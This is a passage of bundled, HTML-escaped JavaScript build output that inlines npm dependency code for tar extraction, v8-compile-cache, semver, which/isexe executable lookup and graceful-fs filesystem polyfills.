          this[ONERROR](er, entry);
          done();
          return;
        }
        switch (entry.type) {
          case &quot;File&quot;:
          case &quot;OldFile&quot;:
          case &quot;ContiguousFile&quot;:
            return this[FILE](entry, done);
          case &quot;Link&quot;:
            return this[HARDLINK](entry, done);
          case &quot;SymbolicLink&quot;:
            return this[SYMLINK](entry, done);
          case &quot;Directory&quot;:
          case &quot;GNUDumpDir&quot;:
            return this[DIRECTORY](entry, done);
        }
      }
      [LINK](entry, linkpath, link, done) {
        import_node_fs4.default[link](linkpath, String(entry.absolute), (er) =&gt; {
          if (er) {
            this[ONERROR](er, entry);
          } else {
            this[UNPEND]();
            entry.resume();
          }
          done();
        });
      }
    };
    callSync = (fn2) =&gt; {
      try {
        return [null, fn2()];
      } catch (er) {
        return [er, null];
      }
    };
    UnpackSync = class extends Unpack {
      sync = true;
      [MAKEFS](er, entry) {
        return super[MAKEFS](er, entry, () =&gt; {
        });
      }
      [CHECKFS](entry) {
        if (!this[CHECKED_CWD]) {
          const er2 = this[MKDIR](this.cwd, this.dmode);
          if (er2) {
            return this[ONERROR](er2, entry);
          }
          this[CHECKED_CWD] = true;
        }
        if (entry.absolute !== this.cwd) {
          const parent = normalizeWindowsPath(import_node_path7.default.dirname(String(entry.absolute)));
          if (parent !== this.cwd) {
            const mkParent = this[MKDIR](parent, this.dmode);
            if (mkParent) {
              return this[ONERROR](mkParent, entry);
            }
          }
        }
        const [lstatEr, st] = callSync(() =&gt; import_node_fs4.default.lstatSync(String(entry.absolute)));
        if (st &amp;&amp; (this.keep || /* c8 ignore next */
        this.newer &amp;&amp; st.mtime &gt; (entry.mtime ?? st.mtime))) {
          return this[SKIP](entry);
        }
        if (lstatEr || this[ISREUSABLE](entry, st)) {
          return this[MAKEFS](null, entry);
        }
        if (st.isDirectory()) {
          if (entry.type === &quot;Directory&quot;) {
            const needChmod = this.chmod &amp;&amp; entry.mode &amp;&amp; (st.mode &amp; 4095) !== entry.mode;
            const [er3] = needChmod ? callSync(() =&gt; {
              import_node_fs4.default.chmodSync(String(entry.absolute), Number(entry.mode));
            }) : [];
            return this[MAKEFS](er3, entry);
          }
          const [er2] = callSync(() =&gt; import_node_fs4.default.rmdirSync(String(entry.absolute)));
          this[MAKEFS](er2, entry);
        }
        const [er] = entry.absolute === this.cwd ? [] : callSync(() =&gt; unlinkFileSync(String(entry.absolute)));
        this[MAKEFS](er, entry);
      }
      [FILE](entry, done) {
        const mode = typeof entry.mode === &quot;number&quot; ? entry.mode &amp; 4095 : this.fmode;
        const oner = (er) =&gt; {
          let closeError;
          try {
            import_node_fs4.default.closeSync(fd);
          } catch (e) {
            closeError = e;
          }
          if (er || closeError) {
            this[ONERROR](er || closeError, entry);
          }
          done();
        };
        let fd;
        try {
          fd = import_node_fs4.default.openSync(String(entry.absolute), getWriteFlag(entry.size), mode);
        } catch (er) {
          return oner(er);
        }
        const tx = this.transform ? this.transform(entry) || entry : entry;
        if (tx !== entry) {
          tx.on(&quot;error&quot;, (er) =&gt; this[ONERROR](er, entry));
          entry.pipe(tx);
        }
        tx.on(&quot;data&quot;, (chunk) =&gt; {
          try {
            import_node_fs4.default.writeSync(fd, chunk, 0, chunk.length);
          } catch (er) {
            oner(er);
          }
        });
        tx.on(&quot;end&quot;, () =&gt; {
          let er = null;
          if (entry.mtime &amp;&amp; !this.noMtime) {
            const atime = entry.atime || /* @__PURE__ */ new Date();
            const mtime = entry.mtime;
            try {
              import_node_fs4.default.futimesSync(fd, atime, mtime);
            } catch (futimeser) {
              try {
                import_node_fs4.default.utimesSync(String(entry.absolute), atime, mtime);
              } catch {
                er = futimeser;
              }
            }
          }
          if (this[DOCHOWN](entry)) {
            const uid = this[UID](entry);
            const gid = this[GID](entry);
            try {
              import_node_fs4.default.fchownSync(fd, Number(uid), Number(gid));
            } catch (fchowner) {
              try {
                import_node_fs4.default.chownSync(String(entry.absolute), Number(uid), Number(gid));
              } catch {
                er = er || fchowner;
              }
            }
          }
          oner(er);
        });
      }
      [DIRECTORY](entry, done) {
        const mode = typeof entry.mode === &quot;number&quot; ? entry.mode &amp; 4095 : this.dmode;
        const er = this[MKDIR](String(entry.absolute), mode);
        if (er) {
          this[ONERROR](er, entry);
          done();
          return;
        }
        if (entry.mtime &amp;&amp; !this.noMtime) {
          try {
            import_node_fs4.default.utimesSync(String(entry.absolute), entry.atime || /* @__PURE__ */ new Date(), entry.mtime);
          } catch {
          }
        }
        if (this[DOCHOWN](entry)) {
          try {
            import_node_fs4.default.chownSync(String(entry.absolute), Number(this[UID](entry)), Number(this[GID](entry)));
          } catch {
          }
        }
        done();
        entry.resume();
      }
      [MKDIR](dir, mode) {
        try {
          return mkdirSync2(normalizeWindowsPath(dir), {
            uid: this.uid,
            gid: this.gid,
            processUid: this.processUid,
            processGid: this.processGid,
            umask: this.processUmask,
            preserve: this.preservePaths,
            unlink: this.unlink,
            cwd: this.cwd,
            mode
          });
        } catch (er) {
          return er;
        }
      }
      [ENSURE_NO_SYMLINK](_entry, cwd, parts, done, onError) {
        if (this.preservePaths || parts.length === 0)
          return done();
        let t = cwd;
        for (const p of parts) {
          t = import_node_path7.default.resolve(t, p);
          const [er, st] = callSync(() =&gt; import_node_fs4.default.lstatSync(t));
          if (er)
            return done();
          if (st.isSymbolicLink()) {
            return onError(new SymlinkError(t, import_node_path7.default.resolve(cwd, parts.join(&quot;/&quot;))));
          }
        }
        done();
      }
      [LINK](entry, linkpath, link, done) {
        const linkSync = `${link}Sync`;
        try {
          import_node_fs4.default[linkSync](linkpath, String(entry.absolute));
          done();
          entry.resume();
        } catch (er) {
          return this[ONERROR](er, entry);
        }
      }
    };
  }
});

// node_modules/tar/dist/esm/extract.js
var extract_exports = {};
__export(extract_exports, {
  extract: () =&gt; extract
});
var import_node_fs5, extractFileSync, extractFile, extract;
var init_extract = __esm({
  &quot;node_modules/tar/dist/esm/extract.js&quot;() {
    init_esm2();
    import_node_fs5 = __toESM(require(&quot;node:fs&quot;), 1);
    init_list();
    init_make_command();
    init_unpack();
    extractFileSync = (opt) =&gt; {
      const u = new UnpackSync(opt);
      const file = opt.file;
      const stat = import_node_fs5.default.statSync(file);
      const readSize = opt.maxReadSize || 16 * 1024 * 1024;
      const stream = new ReadStreamSync(file, {
        readSize,
        size: stat.size
      });
      stream.pipe(u);
    };
    extractFile = (opt, _) =&gt; {
      const u = new Unpack(opt);
      const readSize = opt.maxReadSize || 16 * 1024 * 1024;
      const file = opt.file;
      const p = new Promise((resolve, reject) =&gt; {
        u.on(&quot;error&quot;, reject);
        u.on(&quot;close&quot;, resolve);
        import_node_fs5.default.stat(file, (er, stat) =&gt; {
          if (er) {
            reject(er);
          } else {
            const stream = new ReadStream(file, {
              readSize,
              size: stat.size
            });
            stream.on(&quot;error&quot;, reject);
            stream.pipe(u);
          }
        });
      });
      return p;
    };
    extract = makeCommand(extractFileSync, extractFile, (opt) =&gt; new UnpackSync(opt), (opt) =&gt; new Unpack(opt), (opt, files) =&gt; {
      if (files?.length)
        filesFilter(opt, files);
    });
  }
});

// node_modules/v8-compile-cache/v8-compile-cache.js
var require_v8_compile_cache = __commonJS({
  &quot;node_modules/v8-compile-cache/v8-compile-cache.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var Module2 = require(&quot;module&quot;);
    var crypto = require(&quot;crypto&quot;);
    var fs17 = require(&quot;fs&quot;);
    var path16 = require(&quot;path&quot;);
    var vm = require(&quot;vm&quot;);
    var os3 = require(&quot;os&quot;);
    var hasOwnProperty = Object.prototype.hasOwnProperty;
    var FileSystemBlobStore = class {
      constructor(directory, prefix) {
        const name2 = prefix ? slashEscape(prefix + &quot;.&quot;) : &quot;&quot;;
        this._blobFilename = path16.join(directory, name2 + &quot;BLOB&quot;);
        this._mapFilename = path16.join(directory, name2 + &quot;MAP&quot;);
        this._lockFilename = path16.join(directory, name2 + &quot;LOCK&quot;);
        this._directory = directory;
        this._load();
      }
      has(key, invalidationKey) {
        if (hasOwnProperty.call(this._memoryBlobs, key)) {
          return this._invalidationKeys[key] === invalidationKey;
        } else if (hasOwnProperty.call(this._storedMap, key)) {
          return this._storedMap[key][0] === invalidationKey;
        }
        return false;
      }
      get(key, invalidationKey) {
        if (hasOwnProperty.call(this._memoryBlobs, key)) {
          if (this._invalidationKeys[key] === invalidationKey) {
            return this._memoryBlobs[key];
          }
        } else if (hasOwnProperty.call(this._storedMap, key)) {
          const mapping = this._storedMap[key];
          if (mapping[0] === invalidationKey) {
            return this._storedBlob.slice(mapping[1], mapping[2]);
          }
        }
      }
      set(key, invalidationKey, buffer) {
        this._invalidationKeys[key] = invalidationKey;
        this._memoryBlobs[key] = buffer;
        this._dirty = true;
      }
      delete(key) {
        if (hasOwnProperty.call(this._memoryBlobs, key)) {
          this._dirty = true;
          delete this._memoryBlobs[key];
        }
        if (hasOwnProperty.call(this._invalidationKeys, key)) {
          this._dirty = true;
          delete this._invalidationKeys[key];
        }
        if (hasOwnProperty.call(this._storedMap, key)) {
          this._dirty = true;
          delete this._storedMap[key];
        }
      }
      isDirty() {
        return this._dirty;
      }
      save() {
        const dump = this._getDump();
        const blobToStore = Buffer.concat(dump[0]);
        const mapToStore = JSON.stringify(dump[1]);
        try {
          mkdirpSync(this._directory);
          fs17.writeFileSync(this._lockFilename, &quot;LOCK&quot;, { flag: &quot;wx&quot; });
        } catch (error) {
          return false;
        }
        try {
          fs17.writeFileSync(this._blobFilename, blobToStore);
          fs17.writeFileSync(this._mapFilename, mapToStore);
        } finally {
          fs17.unlinkSync(this._lockFilename);
        }
        return true;
      }
      _load() {
        try {
          this._storedBlob = fs17.readFileSync(this._blobFilename);
          this._storedMap = JSON.parse(fs17.readFileSync(this._mapFilename));
        } catch (e) {
          this._storedBlob = Buffer.alloc(0);
          this._storedMap = {};
        }
        this._dirty = false;
        this._memoryBlobs = {};
        this._invalidationKeys = {};
      }
      _getDump() {
        const buffers = [];
        const newMap = {};
        let offset = 0;
        function push2(key, invalidationKey, buffer) {
          buffers.push(buffer);
          newMap[key] = [invalidationKey, offset, offset + buffer.length];
          offset += buffer.length;
        }
        for (const key of Object.keys(this._memoryBlobs)) {
          const buffer = this._memoryBlobs[key];
          const invalidationKey = this._invalidationKeys[key];
          push2(key, invalidationKey, buffer);
        }
        for (const key of Object.keys(this._storedMap)) {
          if (hasOwnProperty.call(newMap, key)) continue;
          const mapping = this._storedMap[key];
          const buffer = this._storedBlob.slice(mapping[1], mapping[2]);
          push2(key, mapping[0], buffer);
        }
        return [buffers, newMap];
      }
    };
    var NativeCompileCache = class {
      constructor() {
        this._cacheStore = null;
        this._previousModuleCompile = null;
      }
      setCacheStore(cacheStore) {
        this._cacheStore = cacheStore;
      }
      install() {
        const self2 = this;
        const hasRequireResolvePaths = typeof require.resolve.paths === &quot;function&quot;;
        this._previousModuleCompile = Module2.prototype._compile;
        Module2.prototype._compile = function(content, filename) {
          const mod = this;
          function require2(id) {
            return mod.require(id);
          }
          function resolve(request, options) {
            return Module2._resolveFilename(request, mod, false, options);
          }
          require2.resolve = resolve;
          if (hasRequireResolvePaths) {
            resolve.paths = function paths(request) {
              return Module2._resolveLookupPaths(request, mod, true);
            };
          }
          require2.main = process.mainModule;
          require2.extensions = Module2._extensions;
          require2.cache = Module2._cache;
          const dirname2 = path16.dirname(filename);
          const compiledWrapper = self2._moduleCompile(filename, content);
          const args = [mod.exports, require2, mod, filename, dirname2, process, global, Buffer];
          return compiledWrapper.apply(mod.exports, args);
        };
      }
      uninstall() {
        Module2.prototype._compile = this._previousModuleCompile;
      }
      _moduleCompile(filename, content) {
        var contLen = content.length;
        if (contLen &gt;= 2) {
          if (content.charCodeAt(0) === 35 &amp;&amp; content.charCodeAt(1) === 33) {
            if (contLen === 2) {
              content = &quot;&quot;;
            } else {
              var i = 2;
              for (; i &lt; contLen; ++i) {
                var code2 = content.charCodeAt(i);
                if (code2 === 10 || code2 === 13) break;
              }
              if (i === contLen) {
                content = &quot;&quot;;
              } else {
                content = content.slice(i);
              }
            }
          }
        }
        var wrapper = Module2.wrap(content);
        var invalidationKey = crypto.createHash(&quot;sha1&quot;).update(content, &quot;utf8&quot;).digest(&quot;hex&quot;);
        var buffer = this._cacheStore.get(filename, invalidationKey);
        var script = new vm.Script(wrapper, {
          filename,
          lineOffset: 0,
          displayErrors: true,
          cachedData: buffer,
          produceCachedData: true
        });
        if (script.cachedDataProduced) {
          this._cacheStore.set(filename, invalidationKey, script.cachedData);
        } else if (script.cachedDataRejected) {
          this._cacheStore.delete(filename);
        }
        var compiledWrapper = script.runInThisContext({
          filename,
          lineOffset: 0,
          columnOffset: 0,
          displayErrors: true
        });
        return compiledWrapper;
      }
    };
    function mkdirpSync(p_) {
      _mkdirpSync(path16.resolve(p_), 511);
    }
    function _mkdirpSync(p, mode) {
      try {
        fs17.mkdirSync(p, mode);
      } catch (err0) {
        if (err0.code === &quot;ENOENT&quot;) {
          _mkdirpSync(path16.dirname(p));
          _mkdirpSync(p);
        } else {
          try {
            const stat = fs17.statSync(p);
            if (!stat.isDirectory()) {
              throw err0;
            }
          } catch (err1) {
            throw err0;
          }
        }
      }
    }
    function slashEscape(str) {
      const ESCAPE_LOOKUP = {
        &quot;\\&quot;: &quot;zB&quot;,
        &quot;:&quot;: &quot;zC&quot;,
        &quot;/&quot;: &quot;zS&quot;,
        &quot;\0&quot;: &quot;z0&quot;,
        &quot;z&quot;: &quot;zZ&quot;
      };
      const ESCAPE_REGEX = /[\\:/\x00z]/g;
      return str.replace(ESCAPE_REGEX, (match) =&gt; ESCAPE_LOOKUP[match]);
    }
    function supportsCachedData() {
      const script = new vm.Script(&#039;&quot;&quot;&#039;, { produceCachedData: true });
      return script.cachedDataProduced === true;
    }
    function getCacheDir() {
      const v8_compile_cache_cache_dir = process.env.V8_COMPILE_CACHE_CACHE_DIR;
      if (v8_compile_cache_cache_dir) {
        return v8_compile_cache_cache_dir;
      }
      const dirname2 = typeof process.getuid === &quot;function&quot; ? &quot;v8-compile-cache-&quot; + process.getuid() : &quot;v8-compile-cache&quot;;
      const arch = process.arch;
      const version = typeof process.versions.v8 === &quot;string&quot; ? process.versions.v8 : typeof process.versions.chakracore === &quot;string&quot; ? &quot;chakracore-&quot; + process.versions.chakracore : &quot;node-&quot; + process.version;
      const cacheDir = path16.join(os3.tmpdir(), dirname2, arch, version);
      return cacheDir;
    }
    function getMainName() {
      const mainName = require.main &amp;&amp; typeof require.main.filename === &quot;string&quot; ? require.main.filename : process.cwd();
      return mainName;
    }
    if (!process.env.DISABLE_V8_COMPILE_CACHE &amp;&amp; supportsCachedData()) {
      const cacheDir = getCacheDir();
      const prefix = getMainName();
      const blobStore = new FileSystemBlobStore(cacheDir, prefix);
      const nativeCompileCache = new NativeCompileCache();
      nativeCompileCache.setCacheStore(blobStore);
      nativeCompileCache.install();
      process.once(&quot;exit&quot;, () =&gt; {
        if (blobStore.isDirty()) {
          blobStore.save();
        }
        nativeCompileCache.uninstall();
      });
    }
    module2.exports.__TEST__ = {
      FileSystemBlobStore,
      NativeCompileCache,
      mkdirpSync,
      slashEscape,
      supportsCachedData,
      getCacheDir,
      getMainName
    };
  }
});

// node_modules/semver/functions/satisfies.js
var require_satisfies = __commonJS({
  &quot;node_modules/semver/functions/satisfies.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var Range3 = require_range();
    var satisfies = (version, range, options) =&gt; {
      try {
        range = new Range3(range, options);
      } catch (er) {
        return false;
      }
      return range.test(version);
    };
    module2.exports = satisfies;
  }
});

// node_modules/which/node_modules/isexe/dist/commonjs/index.min.js
var require_index_min = __commonJS({
  &quot;node_modules/which/node_modules/isexe/dist/commonjs/index.min.js&quot;(exports2) {
    &quot;use strict&quot;;
    var a = (t, e) =&gt; () =&gt; (e || t((e = { exports: {} }).exports, e), e.exports);
    var _ = a((i) =&gt; {
      &quot;use strict&quot;;
      Object.defineProperty(i, &quot;__esModule&quot;, { value: true });
      i.sync = i.isexe = void 0;
      var M = require(&quot;node:fs&quot;), x = require(&quot;node:fs/promises&quot;), q = async (t, e = {}) =&gt; {
        let { ignoreErrors: r = false } = e;
        try {
          return d(await (0, x.stat)(t), e);
        } catch (s) {
          let n = s;
          if (r || n.code === &quot;EACCES&quot;) return false;
          throw n;
        }
      };
      i.isexe = q;
      var m = (t, e = {}) =&gt; {
        let { ignoreErrors: r = false } = e;
        try {
          return d((0, M.statSync)(t), e);
        } catch (s) {
          let n = s;
          if (r || n.code === &quot;EACCES&quot;) return false;
          throw n;
        }
      };
      i.sync = m;
      var d = (t, e) =&gt; t.isFile() &amp;&amp; A(t, e), A = (t, e) =&gt; {
        let r = e.uid ?? process.getuid?.(), s = e.groups ?? process.getgroups?.() ?? [], n = e.gid ?? process.getgid?.() ?? s[0];
        if (r === void 0 || n === void 0) throw new Error(&quot;cannot get uid or gid&quot;);
        let u = /* @__PURE__ */ new Set([n, ...s]), c = t.mode, S = t.uid, P = t.gid, f = parseInt(&quot;100&quot;, 8), l = parseInt(&quot;010&quot;, 8), j = parseInt(&quot;001&quot;, 8), C = f | l;
        return !!(c &amp; j || c &amp; l &amp;&amp; u.has(P) || c &amp; f &amp;&amp; S === r || c &amp; C &amp;&amp; r === 0);
      };
    });
    var g = a((o) =&gt; {
      &quot;use strict&quot;;
      Object.defineProperty(o, &quot;__esModule&quot;, { value: true });
      o.sync = o.isexe = void 0;
      var T = require(&quot;node:fs&quot;), I = require(&quot;node:fs/promises&quot;), D = require(&quot;node:path&quot;), F = async (t, e = {}) =&gt; {
        let { ignoreErrors: r = false } = e;
        try {
          return y(await (0, I.stat)(t), t, e);
        } catch (s) {
          let n = s;
          if (r || n.code === &quot;EACCES&quot;) return false;
          throw n;
        }
      };
      o.isexe = F;
      var L = (t, e = {}) =&gt; {
        let { ignoreErrors: r = false } = e;
        try {
          return y((0, T.statSync)(t), t, e);
        } catch (s) {
          let n = s;
          if (r || n.code === &quot;EACCES&quot;) return false;
          throw n;
        }
      };
      o.sync = L;
      var B = (t, e) =&gt; {
        let { pathExt: r = process.env.PATHEXT || &quot;&quot; } = e, s = r.split(D.delimiter);
        if (s.indexOf(&quot;&quot;) !== -1) return true;
        for (let n of s) {
          let u = n.toLowerCase(), c = t.substring(t.length - u.length).toLowerCase();
          if (u &amp;&amp; c === u) return true;
        }
        return false;
      }, y = (t, e, r) =&gt; t.isFile() &amp;&amp; B(e, r);
    });
    var p = a((h) =&gt; {
      &quot;use strict&quot;;
      Object.defineProperty(h, &quot;__esModule&quot;, { value: true });
    });
    var v = exports2 &amp;&amp; exports2.__createBinding || (Object.create ? (function(t, e, r, s) {
      s === void 0 &amp;&amp; (s = r);
      var n = Object.getOwnPropertyDescriptor(e, r);
      (!n || (&quot;get&quot; in n ? !e.__esModule : n.writable || n.configurable)) &amp;&amp; (n = { enumerable: true, get: function() {
        return e[r];
      } }), Object.defineProperty(t, s, n);
    }) : (function(t, e, r, s) {
      s === void 0 &amp;&amp; (s = r), t[s] = e[r];
    }));
    var G = exports2 &amp;&amp; exports2.__setModuleDefault || (Object.create ? (function(t, e) {
      Object.defineProperty(t, &quot;default&quot;, { enumerable: true, value: e });
    }) : function(t, e) {
      t.default = e;
    });
    var w = exports2 &amp;&amp; exports2.__importStar || /* @__PURE__ */ (function() {
      var t = function(e) {
        return t = Object.getOwnPropertyNames || function(r) {
          var s = [];
          for (var n in r) Object.prototype.hasOwnProperty.call(r, n) &amp;&amp; (s[s.length] = n);
          return s;
        }, t(e);
      };
      return function(e) {
        if (e &amp;&amp; e.__esModule) return e;
        var r = {};
        if (e != null) for (var s = t(e), n = 0; n &lt; s.length; n++) s[n] !== &quot;default&quot; &amp;&amp; v(r, e, s[n]);
        return G(r, e), r;
      };
    })();
    var X = exports2 &amp;&amp; exports2.__exportStar || function(t, e) {
      for (var r in t) r !== &quot;default&quot; &amp;&amp; !Object.prototype.hasOwnProperty.call(e, r) &amp;&amp; v(e, t, r);
    };
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    exports2.sync = exports2.isexe = exports2.posix = exports2.win32 = void 0;
    var E = w(_());
    exports2.posix = E;
    var O = w(g());
    exports2.win32 = O;
    X(p(), exports2);
    var H = process.env._ISEXE_TEST_PLATFORM_ || process.platform;
    var b = H === &quot;win32&quot; ? O : E;
    exports2.isexe = b.isexe;
    exports2.sync = b.sync;
  }
});

// node_modules/which/lib/index.js
var require_lib = __commonJS({
  &quot;node_modules/which/lib/index.js&quot;(exports2, module2) {
    var { isexe, sync: isexeSync } = require_index_min();
    var { join: join3, delimiter, sep, posix } = require(&quot;path&quot;);
    var isWindows4 = process.platform === &quot;win32&quot;;
    var rSlash = new RegExp(`[${posix.sep}${sep === posix.sep ? &quot;&quot; : sep}]`.replace(/(\\)/g, &quot;\\$1&quot;));
    var rRel = new RegExp(`^\\.${rSlash.source}`);
    var getNotFoundError = (cmd) =&gt; Object.assign(new Error(`not found: ${cmd}`), { code: &quot;ENOENT&quot; });
    var getPathInfo = (cmd, {
      path: optPath = process.env.PATH,
      pathExt: optPathExt = process.env.PATHEXT,
      delimiter: optDelimiter = delimiter
    }) =&gt; {
      const pathEnv = cmd.match(rSlash) ? [&quot;&quot;] : [
        // windows always checks the cwd first
        ...isWindows4 ? [process.cwd()] : [],
        ...(optPath || /* istanbul ignore next: very unusual */
        &quot;&quot;).split(optDelimiter)
      ];
      if (isWindows4) {
        const pathExtExe = optPathExt || [&quot;.EXE&quot;, &quot;.CMD&quot;, &quot;.BAT&quot;, &quot;.COM&quot;].join(optDelimiter);
        const pathExt = pathExtExe.split(optDelimiter).flatMap((item) =&gt; [item, item.toLowerCase()]);
        if (cmd.includes(&quot;.&quot;) &amp;&amp; pathExt[0] !== &quot;&quot;) {
          pathExt.unshift(&quot;&quot;);
        }
        return { pathEnv, pathExt, pathExtExe };
      }
      return { pathEnv, pathExt: [&quot;&quot;] };
    };
    var getPathPart = (raw2, cmd) =&gt; {
      const pathPart = /^&quot;.*&quot;$/.test(raw2) ? raw2.slice(1, -1) : raw2;
      const prefix = !pathPart &amp;&amp; rRel.test(cmd) ? cmd.slice(0, 2) : &quot;&quot;;
      return prefix + join3(pathPart, cmd);
    };
    var which3 = async (cmd, opt = {}) =&gt; {
      const { pathEnv, pathExt, pathExtExe } = getPathInfo(cmd, opt);
      const found = [];
      for (const envPart of pathEnv) {
        const p = getPathPart(envPart, cmd);
        for (const ext of pathExt) {
          const withExt = p + ext;
          const is = await isexe(withExt, { pathExt: pathExtExe, ignoreErrors: true });
          if (is) {
            if (!opt.all) {
              return withExt;
            }
            found.push(withExt);
          }
        }
      }
      if (opt.all &amp;&amp; found.length) {
        return found;
      }
      if (opt.nothrow) {
        return null;
      }
      throw getNotFoundError(cmd);
    };
    var whichSync = (cmd, opt = {}) =&gt; {
      const { pathEnv, pathExt, pathExtExe } = getPathInfo(cmd, opt);
      const found = [];
      for (const pathEnvPart of pathEnv) {
        const p = getPathPart(pathEnvPart, cmd);
        for (const ext of pathExt) {
          const withExt = p + ext;
          const is = isexeSync(withExt, { pathExt: pathExtExe, ignoreErrors: true });
          if (is) {
            if (!opt.all) {
              return withExt;
            }
            found.push(withExt);
          }
        }
      }
      if (opt.all &amp;&amp; found.length) {
        return found;
      }
      if (opt.nothrow) {
        return null;
      }
      throw getNotFoundError(cmd);
    };
    module2.exports = which3;
    which3.sync = whichSync;
  }
});

// node_modules/is-windows/index.js
var require_is_windows = __commonJS({
  &quot;node_modules/is-windows/index.js&quot;(exports2, module2) {
    (function(factory) {
      if (exports2 &amp;&amp; typeof exports2 === &quot;object&quot; &amp;&amp; typeof module2 !== &quot;undefined&quot;) {
        module2.exports = factory();
      } else if (typeof define === &quot;function&quot; &amp;&amp; define.amd) {
        define([], factory);
      } else if (typeof window !== &quot;undefined&quot;) {
        window.isWindows = factory();
      } else if (typeof global !== &quot;undefined&quot;) {
        global.isWindows = factory();
      } else if (typeof self !== &quot;undefined&quot;) {
        self.isWindows = factory();
      } else {
        this.isWindows = factory();
      }
    })(function() {
      &quot;use strict&quot;;
      return function isWindows4() {
        return process &amp;&amp; (process.platform === &quot;win32&quot; || /^(msys|cygwin)$/.test(process.env.OSTYPE));
      };
    });
  }
});

// node_modules/cmd-extension/index.js
var require_cmd_extension = __commonJS({
  &quot;node_modules/cmd-extension/index.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var path16 = require(&quot;path&quot;);
    var cmdExtension;
    if (process.env.PATHEXT) {
      cmdExtension = process.env.PATHEXT.split(path16.delimiter).find((ext) =&gt; ext.toUpperCase() === &quot;.CMD&quot;);
    }
    module2.exports = cmdExtension || &quot;.cmd&quot;;
  }
});

// node_modules/graceful-fs/polyfills.js
var require_polyfills = __commonJS({
  &quot;node_modules/graceful-fs/polyfills.js&quot;(exports2, module2) {
    var constants2 = require(&quot;constants&quot;);
    var origCwd = process.cwd;
    var cwd = null;
    var platform5 = process.env.GRACEFUL_FS_PLATFORM || process.platform;
    process.cwd = function() {
      if (!cwd)
        cwd = origCwd.call(process);
      return cwd;
    };
    try {
      process.cwd();
    } catch (er) {
    }
    if (typeof process.chdir === &quot;function&quot;) {
      chdir = process.chdir;
      process.chdir = function(d) {
        cwd = null;
        chdir.call(process, d);
      };
      if (Object.setPrototypeOf) Object.setPrototypeOf(process.chdir, chdir);
    }
    var chdir;
    module2.exports = patch;
    function patch(fs17) {
      if (constants2.hasOwnProperty(&quot;O_SYMLINK&quot;) &amp;&amp; process.version.match(/^v0\.6\.[0-2]|^v0\.5\./)) {
        patchLchmod(fs17);
      }
      if (!fs17.lutimes) {
        patchLutimes(fs17);
      }
      fs17.chown = chownFix(fs17.chown);
      fs17.fchown = chownFix(fs17.fchown);
      fs17.lchown = chownFix(fs17.lchown);
      fs17.chmod = chmodFix(fs17.chmod);
      fs17.fchmod = chmodFix(fs17.fchmod);
      fs17.lchmod = chmodFix(fs17.lchmod);
      fs17.chownSync = chownFixSync(fs17.chownSync);
      fs17.fchownSync = chownFixSync(fs17.fchownSync);
      fs17.lchownSync = chownFixSync(fs17.lchownSync);
      fs17.chmodSync = chmodFixSync(fs17.chmodSync);
      fs17.fchmodSync = chmodFixSync(fs17.fchmodSync);
      fs17.lchmodSync = chmodFixSync(fs17.lchmodSync);
      fs17.stat = statFix(fs17.stat);
      fs17.fstat = statFix(fs17.fstat);
      fs17.lstat = statFix(fs17.lstat);
      fs17.statSync = statFixSync(fs17.statSync);
      fs17.fstatSync = statFixSync(fs17.fstatSync);
      fs17.lstatSync = statFixSync(fs17.lstatSync);
      if (fs17.chmod &amp;&amp; !fs17.lchmod) {
        fs17.lchmod = function(path16, mode, cb) {
          if (cb) process.nextTick(cb);
        };
        fs17.lchmodSync = function() {
        };
      }
      if (fs17.chown &amp;&amp; !fs17.lchown) {
        fs17.lchown = function(path16, uid, gid, cb) {
          if (cb) process.nextTick(cb);
        };
        fs17.lchownSync = function() {
        };
      }
      if (platform5 === &quot;win32&quot;) {
        fs17.rename = typeof fs17.rename !== &quot;function&quot; ? fs17.rename : (function(fs$rename) {
          function rename(from, to, cb) {
            var start = Date.now();
            var backoff = 0;
            fs$rename(from, to, function CB(er) {
              if (er &amp;&amp; (er.code === &quot;EACCES&quot; || er.code === &quot;EPERM&quot; || er.code === &quot;EBUSY&quot;) &amp;&amp; Date.now() - start &lt; 6e4) {
                setTimeout(function() {
                  fs17.stat(to, function(stater, st) {
                    if (stater &amp;&amp; stater.code === &quot;ENOENT&quot;)
                      fs$rename(from, to, CB);
                    else
                      cb(er);
                  });
                }, backoff);
                if (backoff &lt; 100)
                  backoff += 10;
                return;
              }
              if (cb) cb(er);
            });
          }
          if (Object.setPrototypeOf) Object.setPrototypeOf(rename, fs$rename);
          return rename;
        })(fs17.rename);
      }
      fs17.read = typeof fs17.read !== &quot;function&quot; ? fs17.read : (function(fs$read) {
        function read(fd, buffer, offset, length, position, callback_) {
          var callback;
          if (callback_ &amp;&amp; typeof callback_ === &quot;function&quot;) {
            var eagCounter = 0;
            callback = function(er, _, __) {
              if (er &amp;&amp; er.code === &quot;EAGAIN&quot; &amp;&amp; eagCounter &lt; 10) {
                eagCounter++;
                return fs$read.call(fs17, fd, buffer, offset, length, position, callback);
              }
              callback_.apply(this, arguments);
            };
          }
          return fs$read.call(fs17, fd, buffer, offset, length, position, callback);
        }
        if (Object.setPrototypeOf) Object.setPrototypeOf(read, fs$read);
        return read;
      })(fs17.read);
      fs17.readSync = typeof fs17.readSync !== &quot;function&quot; ? fs17.readSync : /* @__PURE__ */ (function(fs$readSync) {
        return function(fd, buffer, offset, length, position) {
          var eagCounter = 0;
          while (true) {
            try {
              return fs$readSync.call(fs17, fd, buffer, offset, length, position);
            } catch (er) {
              if (er.code === &quot;EAGAIN&quot; &amp;&amp; eagCounter &lt; 10) {
                eagCounter++;
                continue;
              }
              throw er;
            }
          }
        };
      })(fs17.readSync);
      function patchLchmod(fs18) {
        fs18.lchmod = function(path16, mode, callback) {
          fs18.open(
            path16,
            constants2.O_WRONLY | constants2.O_SYMLINK,
            mode,
            function(err, fd) {
              if (err) {
                if (callback) callback(err);
                return;
              }
              fs18.fchmod(fd, mode, function(err2) {
                fs18.close(fd, function(err22) {
                  if (callback) callback(err2 || err22);
                });
              });
            }
          );
        };
        fs18.lchmodSync = function(path16, mode) {
          var fd = fs18.openSync(path16, constants2.O_WRONLY | constants2.O_SYMLINK, mode);
          var threw = true;
          var ret;
          try {
            ret = fs18.fchmodSync(fd, mode);
            threw = false;
          } finally {
            if (threw) {
              try {
                fs18.closeSync(fd);
              } catch (er) {
              }
            } else {
              fs18.closeSync(fd);
            }
          }
          return ret;
        };
      }
      function patchLutimes(fs18) {
